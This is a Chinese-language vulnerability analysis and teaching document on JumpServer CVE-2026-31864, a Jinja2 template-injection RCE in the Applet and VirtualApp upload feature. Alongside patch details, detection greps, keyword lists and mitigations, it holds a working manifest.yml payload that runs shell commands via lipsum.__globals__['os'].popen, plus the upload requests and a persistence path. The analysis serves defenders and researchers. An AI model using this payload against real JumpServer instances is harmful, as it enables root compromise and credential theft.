JumpServer 远程代码执行漏洞 CVE-2026-31864 漏洞分析
字数 4151
更新时间 2026-03-16 12:04:37
JumpServer CVE-2026-31864 远程代码执行漏洞分析教学文档
1. 漏洞概述
1.1 漏洞编号
- CVE-2026-31864
1.2 漏洞类型
- 服务端模板注入(SSTI)
- 远程代码执行(RCE)
1.3 影响组件
- JumpServer 堡垒机
- 受影响功能:Applet(远程应用发布器)和 VirtualApp(虚拟应用)上传功能
1.4 漏洞本质
漏洞根源在于 JumpServer 在处理用户上传的 YAML 配置文件时,使用了未启用沙箱的 Jinja2 模板引擎。当攻击者能够控制 manifest.yml 文件内容时,可在服务器端执行任意 Python 代码,最终获得在 JumpServer Core 容器内以 root 权限执行系统命令的能力。
1.5 漏洞时间线
- 漏洞引入时间:2023年4月(i18n 功能引入时)
- 漏洞修复时间:2026年2月4日
- 漏洞窗口期:接近2年10个月
2. 漏洞技术分析
2.1 漏洞代码位置
文件路径:apps/common/utils/yml.py
函数名称:yaml_load_with_i18n()
2.2 漏洞代码(v4.10.15及之前版本)
import io
import yaml
from jinja2 import Environment # 关键问题:使用默认 Environment,无沙箱
def yaml_load_with_i18n(stream, lang=None):
ori_text = stream.read() # 用户可控的 manifest.yml 内容
stream = io.StringIO(ori_text)
yaml_data = yaml.safe_load(stream) # 安全,仅验证YAML语法
i18n = yaml_data.get('i18n', {})
# 漏洞核心:使用无沙箱的 Jinja2 环境
env = Environment() # 无沙箱保护
env.filters['trans'] = lambda key: translate(key, i18n, lang)
template = env.from_string(ori_text) # 用户内容被当作模板编译
yaml_data = template.render() # RCE 触发点:执行模板渲染
yaml_f = io.StringIO(yaml_data)
d = yaml.safe_load(yaml_f)
if isinstance(d, dict):
d.pop('i18n', None)
return d
2.3 漏洞形成原因分析
2.3.1 设计缺陷三重问题
-
沙箱缺失
- 使用
jinja2.Environment()而非jinja2.sandbox.SandboxedEnvironment() - 模板表达式可访问对象属性链(
__globals__、__class__等)
- 使用
-
用户完全可控
ori_text完全来自用户上传的manifest.yml文件- 攻击者控制的是模板源码本身,而不仅仅是模板变量
-
执行顺序错位
template.render()在 YAML 二次解析之前执行- 即使后续
yaml.safe_load()因渲染结果格式错误而失败,代码执行已经发生
2.3.2 攻击入口链
lipsum(Jinja2内置函数)
↓
.__globals__(获取函数全局命名空间)
↓
['os'](访问os模块)
↓
.popen()(执行系统命令)
3. 攻击面与利用条件
3.1 受影响的接口
| 调用位置 | 文件来源 | 用户可控 | 触发条件 |
|---|---|---|---|
Applet.validate_pkg() |
用户上传ZIP | 是 | 上传Applet包 |
Applet.load_platform_if_need() |
用户上传ZIP | 是 | ZIP中包含platform.yml |
VirtualApp.validate_pkg() |
用户上传ZIP | 是 | 上传VirtualApp包 |
ManifestI18nMixin.read_manifest_with_i18n() |
已安装包文件 | 间接可控 | 序列化对象时读取 |
注意:read_manifest_with_i18n() 会导致持久化RCE,管理员查看已安装应用列表时会重复触发。
3.2 攻击入口
-
Applet上传接口
POST /api/v1/terminal/applets/upload/ 所需权限:terminal.add_applet ZIP必需文件:manifest.yml、icon.png、setup.yml -
VirtualApp上传接口
POST /api/v1/terminal/virtual-apps/upload/ 所需权限:terminal.add_virtualapp ZIP必需文件:manifest.yml、icon.png
3.3 认证方式
攻击者可使用以下任一认证方式:
- AccessKey 签名:
Authorization: Sign {access_key_id}:{签名} - Private Token:
Authorization: Token {token_key} - Bearer Token:
Authorization: Bearer {token} - OAuth2 Token:
Authorization: Bearer {oauth_token} - Session Cookie:
Cookie: sessionid=...
注意:前四种方式无需CSRF防护,更易于利用。
3.4 利用前提条件
- 拥有可登录JumpServer的有效账号
- 账号具备以下权限之一:
terminal.add_appletterminal.add_virtualapp
4. 完整攻击流程
4.1 攻击调用链
HTTP POST /api/v1/terminal/applets/upload/
│ Header: Authorization: Bearer {token}
│ Body: multipart/form-data, file=evil.zip
│
├── [认证] 认证中间件校验token
├── [鉴权] RBACPermission检查terminal.add_applet
├── [路由] AppletViewSet.upload()
│
├── [解压] extract_and_check_file()
│ ├── FileSerializer校验上传字段
│ ├── 保存ZIP到临时路径
│ ├── zipfile.ZipFile.extractall()解压
│ └── 计算tmp_dir
│
├── [校验] Applet.validate_pkg(tmp_dir) # 核心漏洞触发点
│ ├── 检查manifest.yml/icon.png/setup.yml是否存在
│ ├── 打开manifest.yml
│ └── yaml_load_with_i18n(f) # 漏洞函数
│ ├── 读取ori_text
│ ├── yaml.safe_load(ori_text) # 仅语法校验
│ ├── Environment().from_string(ori_text) # 模板编译
│ └── template.render() # RCE发生
│
└── [安装] Applet.install_from_dir(tmp_dir)
├── 再次调用validate_pkg() # 可能二次触发
├── 若存在platform.yml,load_platform_if_need()继续触发
└── copytree()将恶意文件写入持久化目录
4.2 Payload构造示例
name: poc_app
display_name: "PoC App"
version: "1.0"
author: "{{ lipsum.__globals__['os'].popen('echo aWQ=|base64 -d|sh').read().strip() }}"
is_active: true
protocols:
- vnc
image_name: "poc_app"
image_protocol: "vnc"
image_port: 5900
tags: []
comment: ""
i18n: {}
Payload说明:
lipsum:Jinja2内置函数,作为攻击起点__globals__:获取函数全局命名空间['os']:访问os模块popen('echo aWQ=|base64 -d|sh'):aWQ=是id命令的base64编码- 通过base64编码避免YAML/Jinja2语法冲突
read().strip():读取命令输出
4.3 攻击步骤
步骤1:获取认证令牌
POST /api/v1/authentication/tokens/ HTTP/1.1
Content-Type: application/json
{"username": "admin", "password": "password"}
步骤2:构造恶意ZIP包
VirtualApp最小结构:
poc_app.zip
└── poc_app/
├── manifest.yml # 包含恶意payload
└── icon.png # 占位图片文件
Applet需要额外文件:
setup.yml
步骤3:上传恶意包
POST /api/v1/terminal/virtual-apps/upload/ HTTP/1.1
Authorization: Bearer {token}
Content-Type: multipart/form-data; boundary=---
---
Content-Disposition: form-data; name="file"; filename="poc_app.zip"
Content-Type: application/zip
{ZIP二进制内容}
---
步骤4:读取执行结果
成功回显示例:
{
"id": "...",
"name": "poc_app",
"author": "uid=0(root) gid=0(root) groups=0(root)"
}
注意事项:
- 即使YAML解析失败(返回500),代码已在
template.render()阶段执行 - 可通过外带或反弹Shell方式确认执行成功
4.4 持久化机制
恶意manifest.yml写入位置:
data/media/applets/{name}/manifest.ymldata/media/virtual_apps/{name}/manifest.yml
持久化触发场景:
- 管理员查看Applet/VirtualApp列表页
- 系统序列化对象时调用
read_manifest_with_i18n() - 每次读取都会重新渲染模板,导致RCE重复触发
5. 漏洞修复分析
5.1 修复代码(v4.10.16+)
import yaml
from jinja2 import StrictUndefined
from jinja2.sandbox import SandboxedEnvironment # 关键修复:使用沙箱环境
def yaml_load_with_i18n(stream, lang=None):
ori_text = stream.read()
data = yaml.safe_load(ori_text)
i18n = data.get("i18n", {})
# 修复1:使用沙箱环境
env = SandboxedEnvironment(
undefined=StrictUndefined,
autoescape=False,
)
def safe_trans(key):
if not isinstance(key, str):
raise ValueError("invalid i18n key")
return translate(key, i18n, lang)
# 修复2-3:清空默认上下文
env.filters.clear() # 清空过滤器
env.globals.clear() # 清空全局变量
# 修复4:严格校验
env.filters["trans"] = safe_trans
template = env.from_string(ori_text)
try:
rendered = template.render()
except Exception:
rendered = ori_text # 异常降级处理
result = yaml.safe_load(rendered)
result.pop("i18n", None)
return result
5.2 修复提交
- 提交哈希:
820b83158 - 提交时间:2026-02-04
5.3 修复措施四重防护
- 沙箱隔离:
SandboxedEnvironment替代Environment() - 清空全局变量:
env.globals.clear()移除lipsum等危险入口 - 清空过滤器:
env.filters.clear()移除潜在危险过滤器 - 输入校验:对
trans过滤器输入进行类型检查
6. 影响评估
6.1 直接影响
- 任意命令执行:在JumpServer Core容器内以root权限执行系统命令
- 敏感信息泄露:
- 数据库连接信息
- Redis/PostgreSQL/MySQL访问凭证
SECRET_KEY获取- 被管理资产凭据解密
6.2 横向扩展风险
- 凭据窃取:导出数据库中存储的所有资产连接凭据
- 密钥滥用:利用
SECRET_KEY解密系统敏感字段 - 任务控制:通过Celery任务系统影响Worker节点
- 内网渗透:利用JumpServer已有的主机连接能力横向移动
- 运维入口接管:控制堡垒机等于控制整个运维体系入口
6.3 影响版本范围
受影响版本:
- v3.2.0 – v3.10.21
- v4.0.0 – v4.10.15
安全版本:
- v3.10.22+
- v4.10.16+
7. 漏洞检测与排查
7.1 版本确认
# 检查JumpServer版本
jumpserver --version
7.2 接口日志审计
重点检查以下接口的异常调用:
# 查看访问日志
grep -E "POST /api/v1/terminal/(applets|virtual-apps)/upload/" access.log
# 关注异常特征
- 来源IP异常
- 访问频率异常
- 非工作时间访问
- 非常见User-Agent
7.3 恶意文件排查
# 扫描持久化目录中的恶意manifest.yml
grep -r '{{' /path/to/jumpserver/data/media/applets/*/manifest.yml
grep -r '{{' /path/to/jumpserver/data/media/virtual_apps/*/manifest.yml
# 重点关注关键词
__globals__
__class__
lipsum
cycler
joiner
popen
subprocess
os
7.4 权限审计
检查拥有以下权限的账号:
terminal.add_appletterminal.add_virtualapp
关注点:
- 是否存在过度授权
- 临时权限是否及时回收
- 是否有未知或异常账号
8. 修复与缓解措施
8.1 根本修复
立即升级到安全版本:
- v3.10.22 或更高版本
- v4.10.16 或更高版本
8.2 临时缓解措施
8.2.1 网络层控制
# Nginx配置示例:限制上传接口访问
location /api/v1/terminal/(applets|virtual-apps)/upload/ {
# 仅允许管理网段访问
allow 10.0.0.0/8;
allow 192.168.0.0/16;
deny all;
# 其他安全头
add_header X-Content-Type-Options nosniff;
add_header X-Frame-Options DENY;
add_header X-XSS-Protection "1; mode=block";
}
8.2.2 权限收紧
-
临时回收权限:
# 通过JumpServer管理界面或API # 移除所有非必要账号的以下权限: # - terminal.add_applet # - terminal.add_virtualapp -
权限审批流程:
- 添加上传权限需二级审批
- 权限使用后立即回收
- 定期审计权限分配
8.2.3 功能下线
# 临时注释或禁用上传接口
# 在urls.py中注释相关路由
# urlpatterns = [
# # path('api/v1/terminal/applets/upload/', ...), # 临时禁用
# # path('api/v1/terminal/virtual-apps/upload/', ...), # 临时禁用
# ]
8.2.4 文件清理
# 清理可疑的已安装包
rm -rf /path/to/jumpserver/data/media/applets/suspicious_app/
rm -rf /path/to/jumpserver/data/media/virtual_apps/suspicious_app/
# 注意:清理前备份可疑文件供取证分析
8.3 安全加固建议
8.3.1 代码层面
-
输入验证增强:
# 添加manifest.yml内容安全校验 def validate_manifest_content(content): # 禁止Jinja2模板语法 forbidden_patterns = [ r'\{\{.*?\}\}', # 模板变量 r'\{%[-+]?.*?[-+]?%\}', # 模板标签 r'\{#.*?#\}' # 模板注释 ] for pattern in forbidden_patterns: if re.search(pattern, content, re.DOTALL): raise ValidationError("禁止在manifest中使用模板语法") -
深度防御:
# 使用更安全的YAML加载方式 import yaml from yaml.constructor import SafeConstructor class RestrictedConstructor(SafeConstructor): def construct_python(self, node): raise yaml.ConstructorError( None, None, "禁止加载Python对象", node.start_mark ) RestrictedConstructor.add_constructor( 'tag:yaml.org,2002:python/object', RestrictedConstructor.construct_python ) def safe_yaml_load(stream): loader = yaml.Loader(stream) loader.constructor = RestrictedConstructor return loader.get_single_data()
8.3.2 运维层面
-
容器安全:
# Dockerfile安全增强 USER jumpserver # 非root用户运行 RUN chmod -R 750 /opt/jumpserver/data/media/ -
文件监控:
# 实时监控manifest.yml文件变化 inotifywait -m -r -e create,modify /opt/jumpserver/data/media/ | while read path action file; do if [[ "$file" == "manifest.yml" ]]; then echo "警告:$path/$file 被修改" | mail -s "JumpServer文件监控" admin@example.com fi done -
审计增强:
# 添加上传操作详细日志 import logging logger = logging.getLogger('security') def log_upload_attempt(user, filename, ip): logger.warning( f"文件上传尝试 - 用户:{user} 文件:{filename} IP:{ip}", extra={ 'user': user, 'filename': filename, 'source_ip': ip, 'event_type': 'file_upload' } )
9. 漏洞修复验证
9.1 代码修复验证
# 验证脚本:测试修复是否生效
import yaml
from jinja2.sandbox import SandboxedEnvironment
def test_sandbox_environment():
"""测试沙箱环境是否能阻止SSTI"""
env = SandboxedEnvironment()
template = env.from_string("{{ lipsum.__globals__['os'].popen('id').read() }}")
try:
result = template.render()
print(f"❌ 修复失败,执行结果: {result}")
return False
except Exception as e:
print(f"✅ 修复生效,错误信息: {e}")
return True
# 执行测试
test_sandbox_environment()
9.2 功能回归测试
-
正常功能测试:
# 上传合法的Applet/VirtualApp包 curl -X POST \ -H "Authorization: Bearer $TOKEN" \ -F "file=@legitimate_app.zip" \ https://jumpserver.example.com/api/v1/terminal/applets/upload/ -
漏洞利用测试:
# 尝试利用漏洞(应失败) curl -X POST \ -H "Authorization: Bearer $TOKEN" \ -F "file=@malicious_app.zip" \ https://jumpserver.example.com/api/v1/terminal/applets/upload/ # 期望结果:返回错误,而非命令执行成功
9.3 安全扫描
# 使用安全扫描工具检查
# 1. 代码静态分析
bandit -r /opt/jumpserver/apps/common/utils/yml.py
# 2. 依赖项检查
pip-audit
# 3. 配置检查
grep -r "Environment()" /opt/jumpserver/ --include="*.py" | grep -v "SandboxedEnvironment"
10. 总结与经验教训
10.1 漏洞根本原因
核心问题:将用户完全可控的文本内容,在无沙箱隔离的环境下作为模板渲染执行。
10.2 安全开发建议
- 原则:永远不要信任用户输入
- 实践:
- 使用模板引擎时必须启用沙箱
- 对用户可控的模板内容进行严格白名单校验
- 避免在模板渲染中执行任何可能访问系统资源的操作
- 深度防御:
- 在多个层次实施安全控制
- 输入验证 + 沙箱隔离 + 权限控制 + 审计日志
10.3 运维安全建议
- 最小权限原则:严格控制系统组件权限
- 纵深防御:网络隔离 + 主机加固 + 应用安全
- 持续监控:实时监控异常文件操作和API调用
- 定期审计:检查权限分配、文件变更、日志记录
10.4 应急响应流程
- 识别:通过监控告警发现异常
- 遏制:隔离受影响系统,禁用相关功能
- 根除:应用安全补丁,清理恶意文件
- 恢复:验证修复,恢复服务
- 复盘:分析攻击路径,完善防护措施
附录:参考资源
官方资源
- JumpServer安全公告:[链接需根据实际公告更新]
- 修复版本下载:https://github.com/jumpserver/jumpserver/releases
安全资源
- Jinja2沙箱文档:https://jinja.palletsprojects.com/en/stable/sandbox/
- YAML安全加载:https://pyyaml.org/wiki/PyYAMLDocumentation
- SSTI防护指南:OWASP Server Side Template Injection
检测工具
- 静态代码分析:
- Bandit:https://github.com/PyCQA/bandit
- Semgrep:https://semgrep.dev/
- 动态扫描:
- Nuclei模板:https://github.com/projectdiscovery/nuclei-templates
- 自定义检测脚本
文档最后更新:2026年3月16日
基于分析文章:奇安信攻防社区《JumpServer 远程代码执行漏洞 CVE-2026-31864 漏洞分析》
注意:本文档仅用于安全研究和教育目的,请勿用于非法用途。
相似文章
相似文章